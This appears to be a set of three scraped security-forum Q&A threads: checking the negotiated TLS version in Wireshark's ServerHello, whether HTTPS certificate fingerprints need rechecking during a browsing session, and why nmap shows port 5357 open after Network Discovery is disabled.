What we have tried is to run Wireshark with (ip.dst == 137.117.17.70) && ssl and with (ip.src == 137.117.17.70) && ssl as the filter and then run a web request from Internet Explorer. The results show this for the Client Hello.

Secure Sockets Layer
  TLSv1.2 Record Layer: Handshake Protocol: Client Hello
    Version: TLS 1.0
    Handshake Protocol: Client Hello
      Version: TLS 1.2

And they show this for the Server Hello.

Secure Sockets Layer
  TLSv1.2 Record Layer: Handshake Protocol: Server Hello
    Version: TLS 1.2
    Handshake Protocol: Server Hello
      Version: TLS 1.2

My sense is that that means we have not successfully turned off the legacy protocol, because the Client Hello initially says 1.0. Is that right?

Here is a better way of filtering for the Client Hello and Server Hello for a specific IP address.

(ip.src == 137.117.17.70) && ssl.handshake.type == 1
(ip.dst == 137.117.17.70) && ssl.handshake.type == 2

You want to look at the "protocol version" in the ServerHello message. Consider this image, shamelessly plundered from the Web and that shows a screenshot of a ServerHello being decoded by Wireshark:

There are two "Version: TLS 1.0 (0x0301)" instances in this picture. The first one is from the header of the record that contains the ServerHello. The second one is from the contents of the ServerHello message itself. The second one is the one you are interested in, because it is the way the server informs the client about the protocol version that will be used for this connection.


A Question About HTTPS Certificates & Their Fingerprints Lately, I have been verifying the HTTPS cert fingerprints of the sites that I log in to, by using the fingerprint tool on grc.com to fetch the correct ones from them and then comparing those to the fingerprints I actually receive from these sites, but is it necessary for me to further check that the fingerprints I receive have remained the same, as I navigate from page to page on them?

In other words, is it possible for me to connect to a website using the correct certificate, but then be issued an incorrect one later, while I browse the site? Or is one check after I connect to the site enough?

The certificate of a site can change any time (for example if it gets renewed) and thus the fingerprint will change too.

I don't know what kind of attack you fear but if you think that some hacker is able to man in the middle your connection to some HTTP site and will only do it sometimes then this hacker might be able to intercept the connection to grc.com too and change the fingerprints shown to you which means this looking at this site is not an effective way to detect such an attacker. But unless you have to do with a hacker which managed to hack a CA to get the certificates he wants and thus can do silent man in the middle attacks, the browser will warn you that something is wrong.

If you instead fear that your computer might be infected by some malware which installed new trusted root certificates for silent MITM attack then it is enough to check from time to time if the certificates have changed. Note that certificates also change in case of legal SSL interception which is done by many antivirus products and enterprise firewalls.


Disabled Network Discovery for port 5357 but it still shows up as open in NMap scan as mentioned in the title I have disabled Network Discovery for all of the 3 profiles yet when I run an NMap scan, the port comes up to be open. I have also run the command netstat -a -b to find the services running on ports, but port 5357 does not show up in it all.

Is there something I am missing outright here? Can you please point me in the right direction as to how can I stop port 5357 from showing as open instead of outright blocking it.

Depending on your network configuration, requests may not be always answered by the host the request was sent to. For example, a firewall, router or switch may be configured to forward any traffic to TCP port 5357 to 203.0.113.1:5357.

As a result, when conducting a port scan for any host in this network, TCP port 5357 appears to be "open" for every host, but in reality, every request is answered just by one host.

In your scenario, it might very well be that port 5357 on one specific host (e.g. 203.0.113.29) is closed. nmap would still consider it as "open", because a request for 203.0.113.29:5357 would receive a response.

nmap is simply not able to tell whether or not the response came from the host or not.

How can I make sure this is what is happening?

You can use Wireshark or similar tools on 203.0.113.29 and see if packets sent to this host on this port actually arrive there. If they don't, but nmap still considers the port as open, then you are not communicating with this host.